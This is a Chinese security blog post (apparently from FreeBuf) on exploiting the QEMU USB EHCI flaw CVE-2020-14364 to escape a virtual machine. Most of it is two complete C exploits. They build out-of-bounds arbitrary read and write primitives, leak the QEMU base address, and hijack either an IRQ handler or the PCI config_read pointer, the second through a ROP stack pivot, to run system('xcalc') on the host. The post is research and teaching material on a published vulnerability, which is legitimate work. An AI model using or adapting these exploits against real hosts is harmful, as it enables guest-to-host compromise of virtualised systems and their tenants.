首先设置越界长度0x1010,同上操作;

越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len – s->setup_index => len =(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容;

再次越界写,修改目标地址的内容。

void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();//首先设置越界长度0x1010set_length(0x1010, USB_DIR_OUT);//目标地址偏移unsigned long offset = target_addr - data_buf_addr;//设置      setup_index  和  setup_lendo_copy_write(0, offset+0x8, offset-0x1010);//修改目标地址内容*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}

exp

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>#include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <errno.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <stdbool.h>#include <netinet/in.h>  struct EHCIqh * qh;struct EHCIqtd * qtd;struct ohci_td * td;char *dmabuf;char *setup_buf;unsigned char *mmio_mem;unsigned char *data_buf;unsigned char *data_buf_oob;uint32_t *entry;uint64_t dev_addr;uint64_t data_buf_addr;uint64_t USBPort_addr; #define PORTSC_PRESET       (1 << 8)     // Port Reset#define PORTSC_PED          (1 << 2)     // Port Enable/Disable#define USBCMD_RUNSTOP      (1 << 0)#define USBCMD_PSE          (1 << 4)#define USB_DIR_OUT         0#define USB_DIR_IN          0x80#define QTD_TOKEN_ACTIVE    (1 << 7)#define USB_TOKEN_SETUP     2#define USB_TOKEN_IN        1 /* device -> host */#define USB_TOKEN_OUT       0 /* host -> device */#define QTD_TOKEN_TBYTES_SH 16#define QTD_TOKEN_PID_SH    8typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint {uint8_t nr;uint8_t pid;uint8_t type;uint8_t ifnum;int max_packet_size;int max_streams;bool pipeline;bool halted;USBDevice *dev;USBEndpoint *fd;USBEndpoint *bk;};struct USBDevice {int32_t remote_wakeup;int32_t setup_state;int32_t setup_len;int32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[15];USBEndpoint ep_out[15];};typedef struct EHCIqh {uint32_t next;                    /* Standard next link pointer *//* endpoint characteristics */uint32_t epchar;/* endpoint capabilities */uint32_t epcap;uint32_t current_qtd;             /* Standard next link pointer */uint32_t next_qtd;                /* Standard next link pointer */uint32_t altnext_qtd;uint32_t token;                   /* Same as QTD token */uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd {uint32_t next;                    /* Standard next link pointer */uint32_t altnext;                 /* Standard next link pointer */uint32_t token;uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqtd;/* 板子操作 */uint64_t virt2phys(void* p){uint64_t virt = (uint64_t)p;// Assert page alignmentint fd = open("/proc/self/pagemap", O_RDONLY);if (fd == -1)die("open");uint64_t offset = (virt / 0x1000) * 8;lseek(fd, offset, SEEK_SET);uint64_t phys;if (read(fd, &phys, 8 ) != 8)die("read");// Assert page presentphys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);return phys;}void die(const char* msg){perror(msg);exit(-1);}/* 这俩函数板子操作 */void mmio_write(uint32_t addr, uint32_t value){*((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){return *((uint64_t*)(mmio_mem + addr));}void init(){/* 板子操作,注意resource0前面的数字要调试得到 *//* MMIO就是通过将外设备映射到内存空间,便于CPU的访问 */int mmio_fd = open("/sys/devices/pci0000:00/0000:00:01.2/resource0", O_RDWR | O_SYNC);if (mmio_fd == -1)die("mmio_fd open failed");/* 映射到usb 设备的内存 */mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);if (mmio_mem == MAP_FAILED)die("mmap mmio_mem failed");/* 映射一块dmabufs */dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);if (dmabuf == MAP_FAILED)die("mmap");/* 上锁,防止被调度 */mlock(dmabuf, 0x3000);entry = dmabuf + 4;qh = dmabuf + 0x100;qtd = dmabuf + 0x200;setup_buf = dmabuf + 0x300;data_buf = dmabuf + 0x1000;data_buf_oob = dmabuf + 0x2000;}void reset_enable_port(){/* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc对该字段写操作会调用到ehci_port_write */mmio_write(0x64, PORTSC_PRESET);mmio_write(0x64, PORTSC_PED);}//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了void set_EHCIState(){mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbasemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}void set_qh(){qh->epchar = 0x00;qh->token = QTD_TOKEN_ACTIVE;qh->current_qtd = virt2phys(qtd);}void init_state(){//为了能走到漏洞函数那设置的条件reset_enable_port();//同上set_qh();//设置越界长度   setup_buf[6] = 0xff;setup_buf[7] = 0x0;/* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度需要进入do_token_setup 需要通过设置qtd->token值 */qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);*entry = virt2phys(qh)+0x2;set_EHCIState();}//设置越界长度,调用do_token_setup void set_length(uint16_t len,uint8_t option){reset_enable_port();set_qh();setup_buf[0] = option;setup_buf[6] = len & 0xff;setup_buf[7] = (len >> 8 ) & 0xff;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);set_EHCIState();}//越界读,调用do_token_outvoid do_copy_read(){reset_enable_port();set_qh();//设置token进入do_token_in                      设置p->iov.sizeqtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}//越界写,调用do_token_invoid do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){reset_enable_port();set_qh();*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len;*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flagqtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void setup_state_data(){set_length(0x500, USB_DIR_OUT);}//任意写void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();set_length(0x1010, USB_DIR_OUT);unsigned long offset = target_addr - data_buf_addr;do_copy_write(0, offset+0x8, offset-0x1010);*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}//任意读unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_INunsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);do_copy_read(); // oob readreturn *(unsigned long *)(data_buf);}int main(){init();/* 修改当前进程的操作端口权限,为三时可以读写端口 */iopl(3);/*I/O 0xc0c0上写入16位数据 0*/outw(0,0xc080);/* 写0,0xc0e0端口*/outw(0,0xc0a0);outw(0,0xc0c0);//给上面那三个端口写数据是干嘛的?sleep(3);/* 设置触发漏洞环境 */init_state();/* 设置越界长度 */set_length(0x2000, USB_DIR_IN);/* 越界读一次,为了得到基址 */do_copy_read();struct USBDevice* usb_device_tmp = data_buf + 0x4;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));dev_addr = usb_device.ep_ctl.dev;data_buf_addr = dev_addr + 0xdc;USBPort_addr = dev_addr + 0x78;printf("USBDevice dev_addr: 0x%llx\n", dev_addr);printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);printf("USBPort_addr: 0x%llx\n", USBPort_addr);uint64_t *tmp=dmabuf+0x24f4+8;long long leak_addr = *tmp;if(leak_addr == 0){printf("INIT DOWN,DO IT AGAIN\n");return 0;}long long base = leak_addr - 0xc40d90; //maybe wronguint64_t system_plt = base + 0x290D30; //maybe wrongprintf("leak elf_base address : %llx!\n", base);printf("leak system_plt address: %llx!\n", system_plt);//读取USBDevice->port的内容就能获得EHCIState->ports 的地址unsigned long USBPort_ptr = arb_read(USBPort_addr);//减去偏移得到 EHCIState的地址unsigned long EHCIState_addr = USBPort_ptr - 0x540;//进而得到EHCIState->irq地址unsigned long irq_addr = EHCIState_addr + 0xc0;//伪造一个irq地址unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc; //保存原来的irqunsigned long irq_ptr = arb_read(irq_addr);printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);printf("irq_addr: 0x%llx\n", irq_addr);printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);printf("irq_ptr: 0x%llx\n", irq_ptr);/*struct IRQState {Object parent_obj;qemu_irq_handler handler;void *opaque;int n;};*///构造 fake_irq//设置越界长度为0x500然后设定outsetup_state_data();*(unsigned long *)(data_buf + 0x28) = system_plt; // handler 填充成system@plt地址*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque填充成payload的地址*(unsigned long *)(data_buf + 0x38) = 0x3; //n*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"//这个越界写是干嘛的??do_copy_write(0, 0xffff, 0xffff);//利用任意写将EHCIState->irq内容填充为伪造的irq地址arb_write(irq_addr, fake_irq_addr);// write back  irq_ptrarb_write(irq_addr, irq_ptr);//mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。/*void qemu_set_irq(qemu_irq irq, int level){if (!irq)return;irq->handler(irq->opaque, irq->n, level);}*/};

第二种思路

关于任意读写原语的部分和上面的一样,这一利用手法主要利用QEMU启动时加载的qxl-vga设备,配置在上面有:

通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。

这点和上面的利用一样,都是通过ep-ctl得到USBdevice对象的地址,从而得到对象中其他部分的地址,

利用任意读泄露data_buf后面的内存数据,查找”qxl-vga”字符串,就能得到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system(“lspci”)) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。

struct PCIDevice {[ ... ]PCIReqIDCache requester_id_cache;char name[64]; // ->保存设备的名字,"qxl-vga"PCIIORegion io_regions[PCI_NUM_REGIONS];AddressSpace bus_master_as;MemoryRegion bus_master_container_region;MemoryRegion bus_master_enable_region;/* do not access the following fields */PCIConfigReadFunc *config_read;     //这里PCIConfigWriteFunc *config_write;   //这里/* Legacy PCI VGA regions */MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];bool has_vga;[ ... ]};

利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system(“lspci”)) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。

上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。

图片[6]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

大部分都是赋值的,然后找到了一个调用如下:

uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,uint32_t limit, uint32_t len){uint32_t ret;pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);   //比2.11多了这个函数,使得直接把pyload布置在pci_dev变得不可行if (limit <= addr) {return ~0x0;}assert(len <= 4);/* non-zero functions are only exposed when function 0 is present,* allowing direct removal of unexposed functions.*/if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {return ~0x0;}ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr));  //到这里调用,也就是说上面的函数是无法避免被运行的trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),PCI_FUNC(pci_dev->devfn), addr, ret);return ret;}=====================================================================================static inline PCIBus *pci_get_bus(const PCIDevice *dev){return PCI_BUS(qdev_get_parent_bus(DEVICE(dev)));}=====================================================================================#define PCI_BUS(obj) OBJECT_CHECK(PCIBus, (obj), TYPE_PCI_BUS)======================================================================================#define OBJECT_CHECK(type, obj, name) \((type *)object_dynamic_cast_assert(OBJECT(obj), (name), \   __FILE__, __LINE__, __func__))====================================================================================#define OBJECT(obj) \((Object *)(obj))  //这里

涉及到寻址操作,因为覆盖了dev为payload,所以这个操作很可能会访问非法地址,所以这里不能放payload。

同样的,我们甚至不能直接将config_read函数指针指向system,可以将其指向其他地方,我们可以用rop链,将payload放栈上,然后调用system。

栈转移利用xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp – 0x10]; leave; ret;

可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。

以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区。

new rsp  ===>   [0x00] : pop rax; ret;  将system的plt设为rax [0x08] : system@plt                               [0x10] : pop rdi; ret;  将"xcalc"赋值为rdi,作为调用system的第一个参数/-- [0x18] : rsp+0x30       |   [0x20] : sub al, 0; call rax; 调用rax,也就是system|   [0x28] :                                 |-> [0x30] : "xcalc"

exp

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>#include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <errno.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <stdbool.h>#include <netinet/in.h>  struct EHCIqh * qh;struct EHCIqtd * qtd;struct ohci_td * td;char *dmabuf;char *setup_buf;unsigned char *mmio_mem;unsigned char *data_buf;unsigned char *data_buf_oob;uint32_t *entry;uint64_t dev_addr;uint64_t data_buf_addr;uint64_t USBPort_addr; #define PORTSC_PRESET       (1 << 8)     // Port Reset#define PORTSC_PED          (1 << 2)     // Port Enable/Disable#define USBCMD_RUNSTOP      (1 << 0)     // run / Stop#define USBCMD_PSE          (1 << 4)     // Periodic Schedule Enable#define USB_DIR_OUT         0#define USB_DIR_IN          0x80#define QTD_TOKEN_ACTIVE    (1 << 7)#define USB_TOKEN_SETUP     2#define USB_TOKEN_IN        1 /* device -> host */#define USB_TOKEN_OUT       0 /* host -> device */#define QTD_TOKEN_TBYTES_SH 16#define QTD_TOKEN_PID_SH    8typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint {uint8_t nr;uint8_t pid;uint8_t type;uint8_t ifnum;int max_packet_size;int max_streams;bool pipeline;bool halted;USBDevice *dev;USBEndpoint *fd;USBEndpoint *bk;};struct USBDevice {int32_t remote_wakeup;int32_t setup_state;int32_t setup_len;int32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[15];USBEndpoint ep_out[15];};typedef struct EHCIqh {uint32_t next;                    /* Standard next link pointer *//* endpoint characteristics */uint32_t epchar;/* endpoint capabilities */uint32_t epcap;uint32_t current_qtd;             /* Standard next link pointer */uint32_t next_qtd;                /* Standard next link pointer */uint32_t altnext_qtd;uint32_t token;                   /* Same as QTD token */uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd {uint32_t next;                    /* Standard next link pointer */uint32_t altnext;                 /* Standard next link pointer */uint32_t token;uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqtd;uint64_t virt2phys(void* p){uint64_t virt = (uint64_t)p;// Assert page alignmentint fd = open("/proc/self/pagemap", O_RDONLY);if (fd == -1)die("open");uint64_t offset = (virt / 0x1000) * 8;lseek(fd, offset, SEEK_SET);uint64_t phys;if (read(fd, &phys, 8 ) != 8)die("read");// Assert page presentphys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);return phys;}void die(const char* msg){perror(msg);exit(-1);}void mmio_write(uint32_t addr, uint32_t value){*((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){return *((uint64_t*)(mmio_mem + addr));}void init(){int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);if (mmio_fd == -1)die("mmio_fd open failed");mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);if (mmio_mem == MAP_FAILED)die("mmap mmio_mem failed");dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);if (dmabuf == MAP_FAILED)die("mmap");mlock(dmabuf, 0x3000);entry = dmabuf + 4;qh = dmabuf + 0x100;qtd = dmabuf + 0x200;setup_buf = dmabuf + 0x300;data_buf = dmabuf + 0x1000;data_buf_oob = dmabuf + 0x2000;}void reset_enable_port(){mmio_write(0x64, PORTSC_PRESET);mmio_write(0x64, PORTSC_PED);}void set_EHCIState(){mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbasemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}void set_qh(){qh->epchar = 0x00;qh->token = QTD_TOKEN_ACTIVE;qh->current_qtd = virt2phys(qtd);}void init_state(){reset_enable_port();set_qh();setup_buf[6] = 0xff;setup_buf[7] = 0x0;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);*entry = virt2phys(qh)+0x2;set_EHCIState();}void set_length(uint16_t len,uint8_t option){reset_enable_port();set_qh();setup_buf[0] = option;setup_buf[6] = len & 0xff;setup_buf[7] = (len >> 8 ) & 0xff;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(setup_buf);set_EHCIState();}void do_copy_read(){reset_enable_port();set_qh();qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;qtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){reset_enable_port();set_qh();*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flagqtd->bufptr[0] = virt2phys(data_buf);qtd->bufptr[1] = virt2phys(data_buf_oob);set_EHCIState();}void setup_state_data(){set_length(0x500, USB_DIR_OUT);}void arb_write(uint64_t target_addr, uint64_t payload){setup_state_data();set_length(0x1010, USB_DIR_OUT);unsigned long offset = target_addr - data_buf_addr;do_copy_write(0, offset+0x8, offset-0x1010);*(unsigned long *)(data_buf) = payload;do_copy_write(0, 0xffff, 0);}unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_INunsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);do_copy_read(); // oob readreturn *(unsigned long *)(data_buf);}int main(){init();iopl(3);outw(0,0xc080);outw(0,0xc0a0);outw(0,0xc0c0);sleep(3);init_state();set_length(0x2000, USB_DIR_IN);do_copy_read(); // oob readstruct USBDevice* usb_device_tmp=dmabuf+0x2004;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));dev_addr = usb_device.ep_ctl.dev;data_buf_addr = dev_addr + 0xdc;printf("USBDevice dev_addr: 0x%llx\n", dev_addr);printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);uint64_t *tmp=dmabuf+0x24f4+8;long long leak_addr = *tmp;if(leak_addr == 0){printf("INIT DOWN,DO IT AGAIN\n");return 0;}long long base = leak_addr - 0xc40d90; //maybe wronguint64_t system_plt = base + 0x290D30; //maybe wrongprintf("leak elf_base address : %llx!\n", base);printf("leak system_plt address: %llx!\n", system_plt);unsigned long search_start_addr = data_buf_addr + 0x5500; arb_read(search_start_addr);char *mask = "qxl-vga\0";unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;unsigned long config_read_addr = data_buf_addr + offset + 0x390;unsigned long pci_dev = config_read_addr - 0x450;printf("config_read_addr: 0x%llx\n", config_read_addr);printf("pci_dev: 0x%llx\n", pci_dev);unsigned long pci_dev_content = arb_read(pci_dev);unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret; printf("pci_dev_content: 0x%llx\n", pci_dev_content);printf("rop_start: 0x%llx\n", rop_start);unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;printf("new rsp: 0x%llx\n", rsp);unsigned long pop_rax = base + 0x523519; // pop rax; ret; //maybe wrongunsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret;  //maybe wrongunsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax; //maybe wrongarb_write(rsp, pop_rax);arb_write(rsp+8, system_plt);arb_write(rsp+0x10, pop_rdi);arb_write(rsp+0x18, rsp+0x30);arb_write(rsp+0x20, call_rax);arb_write(rsp+0x30, 0x636c616378);arb_write(config_read_addr, rop_start);system("lspci");};

如果本地没打通的话那八成是system的plt地址以及加载地址没根据自己环境进行调整。

前面求到USBDevice的基址了,通过偏移得到USBDevice结构体中USBDescDevice *device 然后根据其指向的地址的值距离QEMU加载地址的偏移,得到QEMU加载的基址,然后通过ida得到system@plt距离QEMU基址的偏移,得到system的地址。

改一下上面标注的maybe wrong处的数据值就可以。

前两思路的参考

[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com)]

[QEMU CVE-2020-14364 漏洞分析(含POC演示) – FreeBuf]

下期我们将继续更新后两种网上现未公开的利用usb1的利用方式,敬请期待~

来源:freebuf.com 2021-06-07 22:27:04 by: 北京星阑科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论